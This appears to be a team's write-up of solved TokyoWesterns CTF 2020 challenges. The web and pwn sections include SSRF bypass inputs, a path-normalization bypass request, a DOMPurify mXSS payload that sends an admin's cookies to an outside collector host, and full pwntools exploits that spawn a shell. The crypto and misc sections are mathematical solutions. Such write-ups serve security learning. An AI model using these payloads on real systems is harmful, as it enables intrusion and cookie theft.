urlcheck v1 (Web, 98 points)

Solved by Ozetta.

Objective: SSRF http://127.0.0.1/admin-status The input needs to fulfil the pattern '\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z' and the first octet cannot be 0 or 127, and some other patterns for internal IP addresses. For some reason, int("0177") is still 177 instead of 127 in Python, so we can use http://0177.0.0.1/admin-status

urlcheck v2 (Web, 128 points)

Solved by Ozetta.

Objective: SSRF http://localhost/admin-status Standard TOCTOU bug, just use DNS rebinding to get access: http://23bbd91c.7f000001.rbndr.us/admin-status

Angular of the Universe, part one (Web, 139 points)

Solved by Ozetta.

Objective of flag 1 is to access /debug/answer route in Angular through the nginx proxy, but debug is filtered and /debug is blocked in nginx. In nginx, the condition checking is done after path normalization, but the request path is sent to the proxy directly. So /debug/answer/../.. will pass the filter in nginx. To let Angular avoid the latter paths, we can use double slashes, which is used to separate secondary routes. To bypass the checking in server.ts, use d%65bug instead of debug. Finally, we need some gibberish at the end of the path to avoid redirect, which gives this payload: GET /d%65bug/answer//../../a HTTP/1.1

bfnote (Web, 320 points)

Solved by harrier and Ozetta.

During the CTF, cure53 has attempted to patch a mXSS. In particular, the test case in the commit contains a valid payload exploiting the older versions of DOMPurify: <math><mtext><table><mglyph><style><math>CLICKME</math>.

Eventually we have constructed the following payload to steal cookies from the admin:

<math><mtext><table><mglyph><style><math><img src=//7a58976474871f9e062175cbd8755cbc.m.pipedream.net/q onerror=location=this.src+document.cookie></math>

nothing more to say 2020 (Pwn, 111 points)

Solved by cire meat pop.

This is a typical challenge on the format string vulnerability. Since NX protection is disabled, it should be possible to overwrite the return address to shellcode that is located on stack. Hence, stack address can be leaked and the return address can be overwritten.

p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)

def fmtp(payload):

    p.sendline(payload)
    return p.recvuntil('> ')[:-3]

p.recvuntil("> ")

payload = "%28$p"
leak = int(fmtp(payload),16)
stack = leak-0x118
ret = stack+0x108
payload = "%7$s||||"+p64(stack)
payload = fmtstr.fmtstr_payload(6, {ret: stack+8}, write_size='byte')
fmtp(payload)
payload = 'q'*8 + asm(shellcraft.amd64.linux.sh())
p.sendline(payload)

p.interactive()

We have the flag: TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}. Translating via google: This is TWCTF, which has begun. Where has kotoshi gone?

Online Nonogram (Pwn, 252 points)

Solved by cire meat pop.

The vulnerability is that we can overwrite the vector pointer to maze chunks.

First leak heap info, then forge a vector to read the unsortbin pointer. Finally, overwrite free hook with system function by tcache attack and trigger it with /bin/sh.

p = remote('pwn03.chal.ctf.westerns.tokyo', 22915)

def calc(off):
    return int(((off+8-1)*8)**0.5)+1

def dele(index):
    p.sendlineafter('Your input: ', '3')
    p.sendlineafter('Index',str(index))
    p.recvuntil('Success')

def add(title, size, payload):
    p.sendlineafter('Your input: ', '2')
    p.sendlineafter('Title: ', title)
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Puzzle: ', payload)

def leakp(index):
    p.sendlineafter('Your input: ', '1')
    p.sendlineafter('Index',str(index))
    p.recvuntil('Row\'s Numbers\n')
    a = p.recvuntil('\nColumn\'s Numbers')[:-17]
    p.sendlineafter(':','q')
    p.recvuntil('invalid choice')
    return a

# leak heap info
offset = 0x400
add('test2', calc(offset), '\0'*offset)
leak = leakp(2).replace('\n','')[2:][::-1][32:]
heap = int(leak,2)
log.info('leak: {}'.format(hex(heap)))
target = heap+0x60
new_heap = heap+0x520
heap_base = heap-0x11f90

# add padding to prevent freed large chunk consolidate with top chunk 
add('pad', 0x10, '\n')
dele(2)

# forge vector and maze chunk
forged_chunk1 = new_heap+0xb0
forged_chunk2 = new_heap+0xe0
forged = flat(new_heap+0x40,new_heap+0x90,0,0,0,0,0,0x41)
forged+= flat(0, target, target, 6,6,6,6,1,0x81)
forged+= flat(0x81, 5, forged_chunk1, forged_chunk2, 0x81,6,6,6,1,0)
forged+= flat(0x81)+ p64(0x81)*40+p64(0x121)*20
forged = forged.ljust(0x400,'\0')
forged+= flat(new_heap, new_heap+0x10, new_heap+0x38)
add('forged', 0x70, forged)

# leak libc info
p.sendlineafter('Your input: ', '4')
p.recvuntil('0 : ')
leak = u64(p.recv(6)+'\0\0')
libc_base = leak-0x1ebfd0
log.info('libc_base: {}'.format(hex(libc_base)))
p.sendlineafter('Index','-1')

# free overlapped chunk to tcache 
dele(1)
add('a', 50, 'a')
add('whatever', 30, 'v'*0x48+p64(0x81)+p64(libc_base+libc.symbols['__free_hook']))
add('whatever', 30, 'whatever')

# write system to free hook
add('q', 30, p64(libc_base+libc.symbols['system']))

# trigger free hook
p.sendlineafter('Your input: ', '2')
p.sendlineafter('Title: ', '/bin/sh\x00'+'\0'*0x100)

p.interactive()

Flag: TWCTF{watashi_puzzle_daisuki_mainiti_yatteru}. Translating via google: I'm pu → I love you. WTF?

Reversing iS Amazing (Reverse, 126 points)

Solved by Mystiz.

Open the binary with IDA. We can see that the binary signs argv[1] (which should be the flag) with RSA, then compares the signature with a given value. With that said, we have a RSA private key.

Since we have the private key and the target signature (which the message is signed instead of its digest), we can simply recover the message by computing $s^e\ \text{mod}\ n$. Unpadding the message we have TWCTF{Rivest_Shamir_Adleman}.

Tamarin (Reverse, 224 points)

Solved by harrier and Mystiz.

We are given an APK for the challenge. As how we work on every single Android reversing challenge, we use apktool to decode the file. Noticing that it is developed in Xamarin, we use the Github repository tjg1/mono_unbundle to unbundle dll.so to a C# DLL source file. We now have source codes to read!

In particular we have this function:

public static bool Func4(string flag) {
    ParallelOptions parallelOptions = new ParallelOptions {
        MaxDegreeOfParallelism = 4
    };
    byte[] bytes = Encoding.ASCII.GetBytes(flag);
    int length = flag.Length;
    if ((length & 3) != 0) {
        Array.Resize<byte>(ref bytes, length + (4 - (length & 3)));
    }
    for (int i = length; i < bytes.Length; i++) {
        bytes[i] = 0;
    }
    if (bytes.Length != Check.equations_arr.GetLength(0) * 4) {
        return false;
    }
    object lockObj = new object();
    ConcurrentBag<bool> checkResults = new ConcurrentBag<bool>();
    List<List<uint>> list = new List<List<uint>>();
    for (int j = 0; j < Check.equations_arr.GetLength(0); j++) {
        List<uint> list2 = new List<uint>();
        list2.Add(BitConverter.ToUInt32(bytes, j * 4));
        for (int k = 0; k < Check.equations_arr.GetLength(1); k++) {
            list2.Add(Check.equations_arr[j, k]);
        }
        list.Add(list2);
    }
    Parallel.ForEach<List<uint>>(list, parallelOptions, delegate(List<uint> equation) {
        object lockObj = lockObj;
        lock (lockObj) {
            uint num = Check.Func3();
            for (int l = 0; l < 10000; l++) {
                num = Check.Func2(equation, num, equation.Count - 2);
            }
            checkResults.Add(num == equation[equation.Count - 1]);
        }
    });
    return Enumerable.All<bool>(checkResults.ToArray(), (bool x) => x);
}

Additionally, we have a equations_arr which is a $22\times32$ matrix. After a bit of reversing, this is how we interpreted the challenge (everything is taken modulo 232):

First we define $m_i$ be the $i$-th block (of 4 bytes) extracted from the flag. Define also the function $f_i$ such that $f_i(x) := m_i + a_{i,1} x + a_{i,2} x^2 + ... + a_{i,31} x^{31}$. The objective is to find $m_i$ such that $a_{i,32} = f_i^{(10000)}(n)$ for all $i = 1, 2, ..., 22$.

What's $n$? It is the output of Check.Func3() and it actually is a random number... Is it even solvable?

Turns out it is. We notice that $a_{ij}$ is an even number for $i=1, 2, ..., 22$ and $j=1, 2, ..., 31$. With a bit of deduction (a bit means few sheets of paper and a lot of time), we are able to derive a function $g_i$ such that $f_i^{(10000)}(n) = g_i(m_i)$ for all $n$, i.e., this would be a constant.

After all, the last thing is to compute $m_i$. We have the full flag solving $g_i(m_i) = a_{i,32}$:

TWCTF{Xm4r1n_15_4bl3_70_6en3r4t3_N471v3_C0d3_w17h_VS_3n73rpr153_bu7_17_c0n741n5_D07_N3t_B1n4ry}

easy-hash (Crypto, 75 points)

Solved by Mystiz.

The challenge defines a new hash algorithm, easy_hash. It is defined by the following function:

def easy_hash(x):
    m = 0
    for i in range(len(x) - 3):
        m += struct.unpack('<I', x[i:i + 4])[0]
        m = m & 0xffffffff
    return m

The objective is to find a collision pair: for twctf: please give me the flag of 2020

Mathematically, if $M=m_1m_2m_3\dots m_n$, then

\[\text{easy\_hash}(M):=\sum_{i=1}^{n-3}\left(\text{0x100}^3m_{i+3}+\text{0x100}^2m_{i+2}+\text{0x100}m_{i+1}+m_i\right).\]

Equivalently it would be

\[ \begin{aligned} \text{easy\_hash}(M) := m_1& + \text{0x101} m_2 + \text{0x10101} m_3 + \text{0x1010101}\sum_{i=4}^{n-3}m_i \\ \end{aligned} \]

Hence, the characters in the middle have the weight 0x1010101 for hash computing. Knowing that "f" = "F" + " ", we can simply replace flag into F lag.

$ curl "https://crypto01.chal.ctf.westerns.tokyo/" -X POST --data "twctf: please give me the F lag of 2020"
# Congrats! The flag is TWCTF{colorfully_decorated_dream}

sqrt (Crypto, 216 points)

Solved by Mystiz.

In this challenge, we are given a ciphertext and a prime $p$. The ciphertext $c$ is computed from the message $m$ by $c \equiv m^{2^{64}}\ (\text{mod}\ p)$ - and the objective is of course to recover the flag $m$.

My first attempt is to repeatedly use Tonelli-Shanks 64 times to compute modular square roots. However, it basically takes forever because the number of candidates could double when it go deeper by one level. This means that we will get two candidates for $c^{1/2}$, four candidates for $c^{1/4}$ and so on. The number grows exponentially and definitely would not be feasible.

Fortunately, we can compute $m^{2^{30}}$ from $m^{2^{64}}$ without any hassle. Knowing that $p - 1 = 2^{30}q$, we can compute $d$ for $2^{34}d \equiv 1\ (\text{mod}\ p-1)$. Then $c^d \equiv m^{d\cdot 2^{64}}\equiv m^{2^{30}}\ (\text{mod}\ p)$. Then we can use Tonelli-Shanks for 30 times for the flag... Nope. That is still too slow.

Instead we compute a 230-th root of unity modulo $p$ (denote it as $r$). If we have an candidate $m_0$ such that $c \equiv {m_0}^{2^{64}}$, then the $m$ we want is any of the $m_0, rm_0, r^2m_0, ..., r^{2^{64}-1}m_0$, under modulo $p$. We can easily iterate through. It took me around fifteen minutes to compute the flag - TWCTF{17s_v3ry_34sy_70_f1nd_th3_n_7h_r007}.

twin-d (Crypto, 172 points)

Solved by harrier and Mystiz.

This is a RSA challenge. Given a common modulus $n$, a pair of public keys are given such that their private exponents differ by two. Simply put,

\[ \begin{cases}\begin{aligned} e_2 (d+2) &\equiv 1\ \left(\text{mod}\ \phi(n)\right) \\ e_1 d &\equiv 1\ \left(\text{mod}\ \phi(n)\right) \end{aligned}\end{cases}. \]

harrier has observed that $e_2d \equiv 1 - 2e_2$. With this, we can deduce a congruence relation that does not depend on $d$:

\[0 \equiv e_1(e_2d) - e_2(e_1d) \equiv e_1(1-2e_2)-e_2 \equiv e_1 - e_2 - 2e_1e_2\ \left(\text{mod}\ \phi(n)\right).\]

In this case, $e_1 - e_2 - 2e_1e_2$ will be a multiple of $\phi(n)$. We can compute an equivalent private key $d'$ by computing $ed' \equiv 1 \ \left(\text{mod}\ \phi(n)\right)$. Hence it suffices to recover the flag from the ciphertext - TWCTF{even_if_it_is_f4+e}.

The Melancholy of Alice (Crypto, 242 points)

Solved by Mystiz.

In this challenge, we are asked to exploit ElGamal cryptosystem. The code supplied is responsible for generating key and encrypting the flag.

N = 1024

def generateKey():
    p = getStrongPrime(N)
    q = (p - 1) // 2
    x = getRandomRange(2, q)
    g = 2
    h = pow(g, x, p)
    pk = (p, q, g, h)
    sk = x
    return (pk, sk)

def encrypt(m, pk):
    (p, q, g, h) = pk
    r = getRandomRange(2, q)
    c1 = pow(g, r, p)
    c2 = m * pow(h, r, p) % p
    return (c1, c2)

Since everything looked pretty legit, we were stuck. Since $p$ is strong, if we write $p := 2q + 1$ then $q$ would be a prime. Alas, the prime is of 1024 bits long. The challenge is very secure, isn't it?

Without any clues, we were messing around. Eventually we tried to factorize $p-1$.

Wait what? Isn't $p$ a strong prime? Why are there so many factors? Turns out we have messed up the definition of strong prime. A strong prime $p$ is basically a prime with $p-1$ having a large prime factor. The desired $p$ they want should be safe but not strong.

Okay, back on business. I used $r = 5710354319$ that is a factor of $p-1$. Then the remaining would be easy with discrete logarithm.

# p, q, g, h are redacted to save up some spaces

with open('challenge/ciphertext.txt') as f:
    cs = list(map(eval, f.read().strip().split('\n')))

r = 5710354319
assert (p-1) % r == 0

x = dlog.bsgs(pow(g, (p-1)//r, p), pow(h, (p-1)//r, p), p, r)
assert pow(g, x * (p-1)//r, p) == pow(h, (p-1)//r, p)

ms = b''
m_map = list(map(lambda m: pow(m, (p-1)//r, p), range(0x20, 0x80)))
print(m_map)
for c1, c2 in cs:
    c1 = pow(c1, (p-1)//r, p)
    c2 = pow(c2, (p-1)//r, p)

    m = c2 * powmod(c1, -x, p) % p
    assert m in m_map
    ms += bytes([m_map.index(m) + 0x20])
print(ms)

XOR and shift encryptor (Crypto, 303 points)

Solved by Mystiz.

This is more like a PPC challenge instead of a cryptography challenge. There is a randgen function, that serves as the core of the challenge, defined below:

def randgen():
  global s,p
  a = 3
  b = 13
  c = 37
  s0 = s[p]
  p = (p + 1) & 63
  s1 = s[p]
  res = (s0 + s1) & ((1<<64)-1)
  s1 ^= (s1 << a) & ((1<<64)-1)
  s[p] = (s1 ^ s0 ^ (s1 >> b) ^ (s0 >> c))  & ((1<<64)-1)
  return res

They are utilizing the "inefficiency" of the above function to encrypt the flag. In particular, they are using the $k_i$-th output to encrypt the $i$-th character of the flag (while $k_i$ could be up to 2100). Of course the naive approach doesn't work - you will wait forever.

However, if we are only considering the state transition (i.e., how s is updated), we can see that it only involves bit shifting and XOR. Let's define $s_0, s_1, ...$ be a sequence with $s_i^{(k)}$ be the $k$-th bit of $s_i$. Imagine that the initial state being $(s_0, s_1, ..., s_{63})$ and the subsequent states being $(s_{64}, s_1, ..., s_{63})$, $(s_{64}, s_{65}, ..., s_{63})$ and so on.

We can write transitions under the definition (note that the $+$ operation is actually operated under $\text{GF}(2)$, i.e., it is a XOR):

  • $s_{i+64}^{(0)} := s_i^{(0)} + s_i^{(10)} + s_i^{(13)} + s_{i+63}^{(0)} + s_{i+63}^{(37)}$,
  • $s_{i+64}^{(1)} := s_i^{(1)} + s_i^{(11)} + s_i^{(14)} + s_{i+63}^{(1)} + s_{i+63}^{(38)}$,
  • ...

Hence, we can define a $64^2\times64^2$ transition matrix $T$ over $\text{GF}(2)$ from the above definition. Then if we can compute $T^{m}$, we can easily obtain $s_m, s_{m+1}, ..., s_{m+63}$.

Help. I personally think it is infeasible to compute the exponentiations since the dimension is large (wouldn’t it be $O(m^{2.3737}\cdot\log n)$ to compute $M^n$ for a $m\times m$ matrix?).

Since we can efficiently compute $s_m$ given an arbitrary $m$, it would be easy for us to skip unecessary states and compute the flag: FAKEFLAG{THIS_IS_FAKE_FLAG}.

Oops, nope. I mean

TWCTF{1084cd93186a8ab4110c991a7980aae36d77f2_X0R5h1f7+_15_m0Re_c0mp1ex_th4n_y0u_thought_right?1!!}

circular (Crypto, 370 points)

Solved by Mystiz.

There are two endpoints provided, pubkey and verify. The pubkey endpoint returns a fix n and k.

$ curl "https://crypto02.chal.ctf.westerns.tokyo/" -X POST --data '{"cmd":"pubkey"}'
# {"pubkey":{"n":"25299...","k":"31019..."}}

And one can submit x, y and msg to the verify endpoint. It is verifying a signature in the following way:

\[x^2 + ky^2 \equiv \text{hash}(msg)\ (\text{mod}\ n).\]

In particular, you can get the flag when the signature is correct and msg == 'SUNSHINE RHYTHM'. Hence, the objective is to solve the quadratic congruence $x^2 + ky^2 \equiv m\ (\text{mod}\ n)$. This is a simplified version of OSS schemes.

I was not aware of the OSS schemes beforehand. I spent some time deriving the solution by myself but in vain. Eventually, I've gave up deriving everything from nothing and came across to Pollard's algorithm (From An Efficient Solution of the Congruence x2 + ky2 = m (mod n) by Pollard and Schnorr). Moreover, the algorithm is described very clearly in An Exposition of Pollard's Algorithm for Quadratic Congruences by Shallit. I have an implementation of Pollard's algorithm following their procedures.

Supplying $k$, $m$ and $n$ to Pollard's algorithm, we can get $x$ and $y$ rather quickly. Submitting the values to the verify endpoint would give us the flag - TWCTF{dbodfs-dbqsjdpso-mjcsb-mfp}.

Birds (Misc, 41 points)

Solved by cire meat pop and Mystiz.

Nothing much is given from the challenge description, there are a multiple lines /^[A-Z]{2}[0-9]{3,4}$/'s.

BC552
AC849
JL106
PQ448
JL901
LH908
NH2177

After a bit of Googling, those are flight numbers. What do they mean? Let's see where they depart and arrive:

Flight Depart from Arrive to
BC552 OKA NGO
AC849 LHR YYZ
JL106 ITM HND
PQ448 TBS ODS
JL901 HND OKA
LH908 FRA LHR
NH2177 NRT ITM

Hmm... We can see some locations shown more than once. There must be some meaning. Let's connect them.

NRT -> ITM -> HND -> OKA -> NGO
FRA -> LHR -> YYZ
TBS -> ODS

By taking the first letter from each of them, we get:

NIHON
FLY
TO

Oh and finally we have the flag: TWCTF{FLYTONIHON}. Unfortunately the finals is online this year... (And we are not qualified, too)

Addendum: We did!

mask (Misc, 26 points)

Solved by harrier and cire meat pop.

There is a list of IP addresses and maybe subnet mask in the challenge description.

192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
...

The list is quite long, we suspect that each IP address is representing a character. After multiple unsuccessful attempts, we found the host identifier for the last row is 0b111101, which is = in ASCII... Is it encoded with base64?

import base64

with open('mask.txt') as f:
    s = f.read().split('\n')
    a = ''
    for i in s:
        lr = i.split('/')
        l = lr[0].split('.')
        r = lr[1].split('.')
        a+=chr(int(l[3])&(255^int(r[3])))
    print(base64.b64decode(a))

The output is: TWCTF{Are-you-using-a-mask?}